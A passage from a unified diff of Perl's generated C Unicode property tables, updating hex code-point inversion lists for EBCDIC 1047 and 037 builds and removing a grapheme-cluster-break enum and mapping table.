-	0xCF1C,
-	0xCF1D,
-	0xCF38,
-	0xCF39,
-	0xCF54,
-	0xCF55,
-	0xCF70,
-	0xCF71,
-	0xCF8C,
-	0xCF8D,
-	0xCFA8,
-	0xCFA9,
-	0xCFC4,
-	0xCFC5,
-	0xCFE0,
-	0xCFE1,
-	0xCFFC,
-	0xCFFD,
-	0xD018,
-	0xD019,
-	0xD034,
-	0xD035,
-	0xD050,
-	0xD051,
-	0xD06C,
-	0xD06D,
-	0xD088,
-	0xD089,
-	0xD0A4,
-	0xD0A5,
-	0xD0C0,
-	0xD0C1,
-	0xD0DC,
-	0xD0DD,
-	0xD0F8,
-	0xD0F9,
-	0xD114,
-	0xD115,
-	0xD130,
-	0xD131,
-	0xD14C,
-	0xD14D,
-	0xD168,
-	0xD169,
-	0xD184,
-	0xD185,
-	0xD1A0,
-	0xD1A1,
-	0xD1BC,
-	0xD1BD,
-	0xD1D8,
-	0xD1D9,
-	0xD1F4,
-	0xD1F5,
-	0xD210,
-	0xD211,
-	0xD22C,
-	0xD22D,
-	0xD248,
-	0xD249,
-	0xD264,
-	0xD265,
-	0xD280,
-	0xD281,
-	0xD29C,
-	0xD29D,
-	0xD2B8,
-	0xD2B9,
-	0xD2D4,
-	0xD2D5,
-	0xD2F0,
-	0xD2F1,
-	0xD30C,
-	0xD30D,
-	0xD328,
-	0xD329,
-	0xD344,
-	0xD345,
-	0xD360,
-	0xD361,
-	0xD37C,
-	0xD37D,
-	0xD398,
-	0xD399,
-	0xD3B4,
-	0xD3B5,
-	0xD3D0,
-	0xD3D1,
-	0xD3EC,
-	0xD3ED,
-	0xD408,
-	0xD409,
-	0xD424,
-	0xD425,
-	0xD440,
-	0xD441,
-	0xD45C,
-	0xD45D,
-	0xD478,
-	0xD479,
-	0xD494,
-	0xD495,
-	0xD4B0,
-	0xD4B1,
-	0xD4CC,
-	0xD4CD,
-	0xD4E8,
-	0xD4E9,
-	0xD504,
-	0xD505,
-	0xD520,
-	0xD521,
-	0xD53C,
-	0xD53D,
-	0xD558,
-	0xD559,
-	0xD574,
-	0xD575,
-	0xD590,
-	0xD591,
-	0xD5AC,
-	0xD5AD,
-	0xD5C8,
-	0xD5C9,
-	0xD5E4,
-	0xD5E5,
-	0xD600,
-	0xD601,
-	0xD61C,
-	0xD61D,
-	0xD638,
-	0xD639,
-	0xD654,
-	0xD655,
-	0xD670,
-	0xD671,
-	0xD68C,
-	0xD68D,
-	0xD6A8,
-	0xD6A9,
-	0xD6C4,
-	0xD6C5,
-	0xD6E0,
-	0xD6E1,
-	0xD6FC,
-	0xD6FD,
-	0xD718,
-	0xD719,
-	0xD734,
-	0xD735,
-	0xD750,
-	0xD751,
-	0xD76C,
-	0xD76D,
-	0xD788,
-	0xD789,
-	0xD7A4,
-	0xD7B0,
-	0xD7C7,
-	0xD7CB,
-	0xD7FC,
-	0xD800,
-	0xE000,
 	0xFB1E,
 	0xFB1F,
 	0xFE00,
@@ -66787,9 +267934,7 @@
 	0xFE30,
 	0xFEFF,
 	0xFF00,
-	0xFF9E,
-	0xFFA0,
-	0xFFF0,
+	0xFFF9,
 	0xFFFC,
 	0x101FD,
 	0x101FE,
@@ -66809,16 +267954,12 @@
 	0x10A40,
 	0x10AE5,
 	0x10AE7,
-	0x11000,
 	0x11001,
 	0x11002,
-	0x11003,
 	0x11038,
 	0x11047,
 	0x1107F,
 	0x11082,
-	0x11083,
-	0x110B0,
 	0x110B3,
 	0x110B7,
 	0x110B9,
@@ -66835,16 +267976,10 @@
 	0x11174,
 	0x11180,
 	0x11182,
-	0x11183,
-	0x111B3,
 	0x111B6,
 	0x111BF,
-	0x111C1,
-	0x111C2,
-	0x111C4,
 	0x111CA,
 	0x111CD,
-	0x1122C,
 	0x1122F,
 	0x11232,
 	0x11234,
@@ -66859,27 +267994,14 @@
 	0x112EB,
 	0x11300,
 	0x11302,
-	0x11304,
 	0x1133C,
 	0x1133D,
-	0x1133E,
-	0x1133F,
 	0x11340,
 	0x11341,
-	0x11345,
-	0x11347,
-	0x11349,
-	0x1134B,
-	0x1134E,
-	0x11357,
-	0x11358,
-	0x11362,
-	0x11364,
 	0x11366,
 	0x1136D,
 	0x11370,
 	0x11375,
-	0x11435,
 	0x11438,
 	0x11440,
 	0x11442,
@@ -66886,23 +268008,16 @@
 	0x11445,
 	0x11446,
 	0x11447,
-	0x114B0,
-	0x114B1,
 	0x114B3,
 	0x114B9,
 	0x114BA,
 	0x114BB,
-	0x114BD,
-	0x114BE,
 	0x114BF,
 	0x114C1,
 	0x114C2,
 	0x114C4,
-	0x115AF,
-	0x115B0,
 	0x115B2,
 	0x115B6,
-	0x115B8,
 	0x115BC,
 	0x115BE,
 	0x115BF,
@@ -66909,7 +268024,6 @@
 	0x115C1,
 	0x115DC,
 	0x115DE,
-	0x11630,
 	0x11633,
 	0x1163B,
 	0x1163D,
@@ -66930,7 +268044,24 @@
 	0x11726,
 	0x11727,
 	0x1172C,
-	0x11C2F,
+	0x11A01,
+	0x11A07,
+	0x11A09,
+	0x11A0B,
+	0x11A33,
+	0x11A39,
+	0x11A3B,
+	0x11A3F,
+	0x11A47,
+	0x11A48,
+	0x11A51,
+	0x11A57,
+	0x11A59,
+	0x11A5C,
+	0x11A8A,
+	0x11A97,
+	0x11A98,
+	0x11A9A,
 	0x11C30,
 	0x11C37,
 	0x11C38,
@@ -66939,7 +268070,6 @@
 	0x11C40,
 	0x11C92,
 	0x11CA8,
-	0x11CA9,
 	0x11CAA,
 	0x11CB1,
 	0x11CB2,
@@ -66946,12 +268076,20 @@
 	0x11CB4,
 	0x11CB5,
 	0x11CB7,
+	0x11D31,
+	0x11D37,
+	0x11D3A,
+	0x11D3B,
+	0x11D3C,
+	0x11D3E,
+	0x11D3F,
+	0x11D46,
+	0x11D47,
+	0x11D48,
 	0x16AF0,
 	0x16AF5,
 	0x16B30,
 	0x16B37,
-	0x16F51,
-	0x16F7F,
 	0x16F8F,
 	0x16F93,
 	0x1BC9D,
@@ -66958,14 +268096,9 @@
 	0x1BC9F,
 	0x1BCA0,
 	0x1BCA4,
-	0x1D165,
-	0x1D166,
 	0x1D167,
 	0x1D16A,
-	0x1D16D,
-	0x1D16E,
 	0x1D173,
-	0x1D17B,
 	0x1D183,
 	0x1D185,
 	0x1D18C,
@@ -66999,1730 +268132,4110 @@
 	0x1E8D7,
 	0x1E944,
 	0x1E94B,
-	0x1F1E6,
-	0x1F200,
-	0x1F385,
-	0x1F386,
-	0x1F3C3,
-	0x1F3C5,
-	0x1F3CA,
-	0x1F3CC,
-	0x1F3FB,
-	0x1F400,
-	0x1F442,
-	0x1F444,
-	0x1F446,
-	0x1F451,
-	0x1F466,
-	0x1F46A,
-	0x1F46E,
-	0x1F46F,
-	0x1F470,
-	0x1F479,
-	0x1F47C,
-	0x1F47D,
-	0x1F481,
-	0x1F484,
-	0x1F485,
-	0x1F488,
-	0x1F48B,
-	0x1F48C,
-	0x1F4AA,
-	0x1F4AB,
-	0x1F575,
-	0x1F576,
-	0x1F57A,
-	0x1F57B,
-	0x1F590,
-	0x1F591,
-	0x1F595,
-	0x1F597,
-	0x1F5E8,
-	0x1F5E9,
-	0x1F645,
-	0x1F648,
-	0x1F64B,
-	0x1F650,
-	0x1F6A3,
-	0x1F6A4,
-	0x1F6B4,
-	0x1F6B7,
-	0x1F6C0,
-	0x1F6C1,
-	0x1F918,
-	0x1F91F,
-	0x1F926,
-	0x1F927,
-	0x1F930,
-	0x1F931,
-	0x1F933,
-	0x1F93A,
-	0x1F93C,
-	0x1F93F,
-	0xE0000,
+	0xE0001,
+	0xE0002,
 	0xE0020,
 	0xE0080,
 	0xE0100,
-	0xE01F0,
-	0xE1000
+	0xE01F0
 };
 
-#endif	/* defined(PERL_IN_PERL_C) */
+#   endif	/* EBCDIC 1047 */
 
-#if defined(PERL_IN_REGEXEC_C)
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
 
-#define GCB_ENUM_COUNT 19
+static const UV PL_JT__T_invlist[] = { /* for EBCDIC 037 */
+	627,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xCA,
+	0xCB,
+	0x300,
+	0x370,
+	0x483,
+	0x48A,
+	0x591,
+	0x5BE,
+	0x5BF,
+	0x5C0,
+	0x5C1,
+	0x5C3,
+	0x5C4,
+	0x5C6,
+	0x5C7,
+	0x5C8,
+	0x610,
+	0x61B,
+	0x61C,
+	0x61D,
+	0x64B,
+	0x660,
+	0x670,
+	0x671,
+	0x6D6,
+	0x6DD,
+	0x6DF,
+	0x6E5,
+	0x6E7,
+	0x6E9,
+	0x6EA,
+	0x6EE,
+	0x70F,
+	0x710,
+	0x711,
+	0x712,
+	0x730,
+	0x74B,
+	0x7A6,
+	0x7B1,
+	0x7EB,
+	0x7F4,
+	0x816,
+	0x81A,
+	0x81B,
+	0x824,
+	0x825,
+	0x828,
+	0x829,
+	0x82E,
+	0x859,
+	0x85C,
+	0x8D4,
+	0x8E2,
+	0x8E3,
+	0x903,
+	0x93A,
+	0x93B,
+	0x93C,
+	0x93D,
+	0x941,
+	0x949,
+	0x94D,
+	0x94E,
+	0x951,
+	0x958,
+	0x962,
+	0x964,
+	0x981,
+	0x982,
+	0x9BC,
+	0x9BD,
+	0x9C1,
+	0x9C5,
+	0x9CD,
+	0x9CE,
+	0x9E2,
+	0x9E4,
+	0xA01,
+	0xA03,
+	0xA3C,
+	0xA3D,
+	0xA41,
+	0xA43,
+	0xA47,
+	0xA49,
+	0xA4B,
+	0xA4E,
+	0xA51,
+	0xA52,
+	0xA70,
+	0xA72,
+	0xA75,
+	0xA76,
+	0xA81,
+	0xA83,
+	0xABC,
+	0xABD,
+	0xAC1,
+	0xAC6,
+	0xAC7,
+	0xAC9,
+	0xACD,
+	0xACE,
+	0xAE2,
+	0xAE4,
+	0xAFA,
+	0xB00,
+	0xB01,
+	0xB02,
+	0xB3C,
+	0xB3D,
+	0xB3F,
+	0xB40,
+	0xB41,
+	0xB45,
+	0xB4D,
+	0xB4E,
+	0xB56,
+	0xB57,
+	0xB62,
+	0xB64,
+	0xB82,
+	0xB83,
+	0xBC0,
+	0xBC1,
+	0xBCD,
+	0xBCE,
+	0xC00,
+	0xC01,
+	0xC3E,
+	0xC41,
+	0xC46,
+	0xC49,
+	0xC4A,
+	0xC4E,
+	0xC55,
+	0xC57,
+	0xC62,
+	0xC64,
+	0xC81,
+	0xC82,
+	0xCBC,
+	0xCBD,
+	0xCBF,
+	0xCC0,
+	0xCC6,
+	0xCC7,
+	0xCCC,
+	0xCCE,
+	0xCE2,
+	0xCE4,
+	0xD00,
+	0xD02,
+	0xD3B,
+	0xD3D,
+	0xD41,
+	0xD45,
+	0xD4D,
+	0xD4E,
+	0xD62,
+	0xD64,
+	0xDCA,
+	0xDCB,
+	0xDD2,
+	0xDD5,
+	0xDD6,
+	0xDD7,
+	0xE31,
+	0xE32,
+	0xE34,
+	0xE3B,
+	0xE47,
+	0xE4F,
+	0xEB1,
+	0xEB2,
+	0xEB4,
+	0xEBA,
+	0xEBB,
+	0xEBD,
+	0xEC8,
+	0xECE,
+	0xF18,
+	0xF1A,
+	0xF35,
+	0xF36,
+	0xF37,
+	0xF38,
+	0xF39,
+	0xF3A,
+	0xF71,
+	0xF7F,
+	0xF80,
+	0xF85,
+	0xF86,
+	0xF88,
+	0xF8D,
+	0xF98,
+	0xF99,
+	0xFBD,
+	0xFC6,
+	0xFC7,
+	0x102D,
+	0x1031,
+	0x1032,
+	0x1038,
+	0x1039,
+	0x103B,
+	0x103D,
+	0x103F,
+	0x1058,
+	0x105A,
+	0x105E,
+	0x1061,
+	0x1071,
+	0x1075,
+	0x1082,
+	0x1083,
+	0x1085,
+	0x1087,
+	0x108D,
+	0x108E,
+	0x109D,
+	0x109E,
+	0x135D,
+	0x1360,
+	0x1712,
+	0x1715,
+	0x1732,
+	0x1735,
+	0x1752,
+	0x1754,
+	0x1772,
+	0x1774,
+	0x17B4,
+	0x17B6,
+	0x17B7,
+	0x17BE,
+	0x17C6,
+	0x17C7,
+	0x17C9,
+	0x17D4,
+	0x17DD,
+	0x17DE,
+	0x180B,
+	0x180E,
+	0x1885,
+	0x1887,
+	0x18A9,
+	0x18AA,
+	0x1920,
+	0x1923,
+	0x1927,
+	0x1929,
+	0x1932,
+	0x1933,
+	0x1939,
+	0x193C,
+	0x1A17,
+	0x1A19,
+	0x1A1B,
+	0x1A1C,
+	0x1A56,
+	0x1A57,
+	0x1A58,
+	0x1A5F,
+	0x1A60,
+	0x1A61,
+	0x1A62,
+	0x1A63,
+	0x1A65,
+	0x1A6D,
+	0x1A73,
+	0x1A7D,
+	0x1A7F,
+	0x1A80,
+	0x1AB0,
+	0x1ABF,
+	0x1B00,
+	0x1B04,
+	0x1B34,
+	0x1B35,
+	0x1B36,
+	0x1B3B,
+	0x1B3C,
+	0x1B3D,
+	0x1B42,
+	0x1B43,
+	0x1B6B,
+	0x1B74,
+	0x1B80,
+	0x1B82,
+	0x1BA2,
+	0x1BA6,
+	0x1BA8,
+	0x1BAA,
+	0x1BAB,
+	0x1BAE,
+	0x1BE6,
+	0x1BE7,
+	0x1BE8,
+	0x1BEA,
+	0x1BED,
+	0x1BEE,
+	0x1BEF,
+	0x1BF2,
+	0x1C2C,
+	0x1C34,
+	0x1C36,
+	0x1C38,
+	0x1CD0,
+	0x1CD3,
+	0x1CD4,
+	0x1CE1,
+	0x1CE2,
+	0x1CE9,
+	0x1CED,
+	0x1CEE,
+	0x1CF4,
+	0x1CF5,
+	0x1CF8,
+	0x1CFA,
+	0x1DC0,
+	0x1DFA,
+	0x1DFB,
+	0x1E00,
+	0x200B,
+	0x200C,
+	0x200E,
+	0x2010,
+	0x202A,
+	0x202F,
+	0x2060,
+	0x2065,
+	0x206A,
+	0x2070,
+	0x20D0,
+	0x20F1,
+	0x2CEF,
+	0x2CF2,
+	0x2D7F,
+	0x2D80,
+	0x2DE0,
+	0x2E00,
+	0x302A,
+	0x302E,
+	0x3099,
+	0x309B,
+	0xA66F,
+	0xA673,
+	0xA674,
+	0xA67E,
+	0xA69E,
+	0xA6A0,
+	0xA6F0,
+	0xA6F2,
+	0xA802,
+	0xA803,
+	0xA806,
+	0xA807,
+	0xA80B,
+	0xA80C,
+	0xA825,
+	0xA827,
+	0xA8C4,
+	0xA8C6,
+	0xA8E0,
+	0xA8F2,
+	0xA926,
+	0xA92E,
+	0xA947,
+	0xA952,
+	0xA980,
+	0xA983,
+	0xA9B3,
+	0xA9B4,
+	0xA9B6,
+	0xA9BA,
+	0xA9BC,
+	0xA9BD,
+	0xA9E5,
+	0xA9E6,
+	0xAA29,
+	0xAA2F,
+	0xAA31,
+	0xAA33,
+	0xAA35,
+	0xAA37,
+	0xAA43,
+	0xAA44,
+	0xAA4C,
+	0xAA4D,
+	0xAA7C,
+	0xAA7D,
+	0xAAB0,
+	0xAAB1,
+	0xAAB2,
+	0xAAB5,
+	0xAAB7,
+	0xAAB9,
+	0xAABE,
+	0xAAC0,
+	0xAAC1,
+	0xAAC2,
+	0xAAEC,
+	0xAAEE,
+	0xAAF6,
+	0xAAF7,
+	0xABE5,
+	0xABE6,
+	0xABE8,
+	0xABE9,
+	0xABED,
+	0xABEE,
+	0xFB1E,
+	0xFB1F,
+	0xFE00,
+	0xFE10,
+	0xFE20,
+	0xFE30,
+	0xFEFF,
+	0xFF00,
+	0xFFF9,
+	0xFFFC,
+	0x101FD,
+	0x101FE,
+	0x102E0,
+	0x102E1,
+	0x10376,
+	0x1037B,
+	0x10A01,
+	0x10A04,
+	0x10A05,
+	0x10A07,
+	0x10A0C,
+	0x10A10,
+	0x10A38,
+	0x10A3B,
+	0x10A3F,
+	0x10A40,
+	0x10AE5,
+	0x10AE7,
+	0x11001,
+	0x11002,
+	0x11038,
+	0x11047,
+	0x1107F,
+	0x11082,
+	0x110B3,
+	0x110B7,
+	0x110B9,
+	0x110BB,
+	0x110BD,
+	0x110BE,
+	0x11100,
+	0x11103,
+	0x11127,
+	0x1112C,
+	0x1112D,
+	0x11135,
+	0x11173,
+	0x11174,
+	0x11180,
+	0x11182,
+	0x111B6,
+	0x111BF,
+	0x111CA,
+	0x111CD,
+	0x1122F,
+	0x11232,
+	0x11234,
+	0x11235,
+	0x11236,
+	0x11238,
+	0x1123E,
+	0x1123F,
+	0x112DF,
+	0x112E0,
+	0x112E3,
+	0x112EB,
+	0x11300,
+	0x11302,
+	0x1133C,
+	0x1133D,
+	0x11340,
+	0x11341,
+	0x11366,
+	0x1136D,
+	0x11370,
+	0x11375,
+	0x11438,
+	0x11440,
+	0x11442,
+	0x11445,
+	0x11446,
+	0x11447,
+	0x114B3,
+	0x114B9,
+	0x114BA,
+	0x114BB,
+	0x114BF,
+	0x114C1,
+	0x114C2,
+	0x114C4,
+	0x115B2,
+	0x115B6,
+	0x115BC,
+	0x115BE,
+	0x115BF,
+	0x115C1,
+	0x115DC,
+	0x115DE,
+	0x11633,
+	0x1163B,
+	0x1163D,
+	0x1163E,
+	0x1163F,
+	0x11641,
+	0x116AB,
+	0x116AC,
+	0x116AD,
+	0x116AE,
+	0x116B0,
+	0x116B6,
+	0x116B7,
+	0x116B8,
+	0x1171D,
+	0x11720,
+	0x11722,
+	0x11726,
+	0x11727,
+	0x1172C,
+	0x11A01,
+	0x11A07,
+	0x11A09,
+	0x11A0B,
+	0x11A33,
+	0x11A39,
+	0x11A3B,
+	0x11A3F,
+	0x11A47,
+	0x11A48,
+	0x11A51,
+	0x11A57,
+	0x11A59,
+	0x11A5C,
+	0x11A8A,
+	0x11A97,
+	0x11A98,
+	0x11A9A,
+	0x11C30,
+	0x11C37,
+	0x11C38,
+	0x11C3E,
+	0x11C3F,
+	0x11C40,
+	0x11C92,
+	0x11CA8,
+	0x11CAA,
+	0x11CB1,
+	0x11CB2,
+	0x11CB4,
+	0x11CB5,
+	0x11CB7,
+	0x11D31,
+	0x11D37,
+	0x11D3A,
+	0x11D3B,
+	0x11D3C,
+	0x11D3E,
+	0x11D3F,
+	0x11D46,
+	0x11D47,
+	0x11D48,
+	0x16AF0,
+	0x16AF5,
+	0x16B30,
+	0x16B37,
+	0x16F8F,
+	0x16F93,
+	0x1BC9D,
+	0x1BC9F,
+	0x1BCA0,
+	0x1BCA4,
+	0x1D167,
+	0x1D16A,
+	0x1D173,
+	0x1D183,
+	0x1D185,
+	0x1D18C,
+	0x1D1AA,
+	0x1D1AE,
+	0x1D242,
+	0x1D245,
+	0x1DA00,
+	0x1DA37,
+	0x1DA3B,
+	0x1DA6D,
+	0x1DA75,
+	0x1DA76,
+	0x1DA84,
+	0x1DA85,
+	0x1DA9B,
+	0x1DAA0,
+	0x1DAA1,
+	0x1DAB0,
+	0x1E000,
+	0x1E007,
+	0x1E008,
+	0x1E019,
+	0x1E01B,
+	0x1E022,
+	0x1E023,
+	0x1E025,
+	0x1E026,
+	0x1E02B,
+	0x1E8D0,
+	0x1E8D7,
+	0x1E944,
+	0x1E94B,
+	0xE0001,
+	0xE0002,
+	0xE0020,
+	0xE0080,
+	0xE0100,
+	0xE01F0
+};
 
-typedef enum {
-	GCB_Other = 0,
-	GCB_CR = 1,
-	GCB_Control = 2,
-	GCB_E_Base = 3,
-	GCB_E_Base_GAZ = 4,
-	GCB_E_Modifier = 5,
-	GCB_Extend = 6,
-	GCB_Glue_After_Zwj = 7,
-	GCB_L = 8,
-	GCB_LF = 9,
-	GCB_LV = 10,
-	GCB_LVT = 11,
-	GCB_Prepend = 12,
-	GCB_Regional_Indicator = 13,
-	GCB_SpacingMark = 14,
-	GCB_T = 15,
-	GCB_V = 16,
-	GCB_ZWJ = 17,
-	GCB_EDGE = 18
-} GCB_enum;
+#   endif	/* EBCDIC 037 */
 
-static const GCB_enum _Perl_GCB_invmap[] = { /* for EBCDIC 037 */
-	GCB_Control,
-	GCB_CR,
-	GCB_Control,
-	GCB_LF,
-	GCB_Control,
-	GCB_Other,
-	GCB_Control,
-	GCB_Other,
-	GCB_Control,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Prepend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Control,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Prepend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Prepend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Prepend,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Other,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_Other,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_Other,
-	GCB_SpacingMark,
-	GCB_Other,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Other,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_Other,
-	GCB_SpacingMark,
-	GCB_Other,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Other,
-	GCB_SpacingMark,
-	GCB_Other,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Other,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Other,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Other,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Other,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_Other,
-	GCB_SpacingMark,
-	GCB_Other,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_Prepend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_SpacingMark,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_Other,
-	GCB_SpacingMark,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_SpacingMark,
-	GCB_Other,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_Other,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_L,
-	GCB_V,
-	GCB_T,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Control,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Other,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_Other,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Other,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Other,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Other,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_SpacingMark,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Control,
-	GCB_Extend,
-	GCB_ZWJ,
-	GCB_Control,
-	GCB_Other,
-	GCB_Control,
-	GCB_Other,
-	GCB_Control,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_E_Base,
-	GCB_Other,
-	GCB_E_Base,
-	GCB_Other,
-	GCB_E_Base,
-	GCB_Other,
-	GCB_Glue_After_Zwj,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
-	GCB_Extend,
-	GCB_Other,
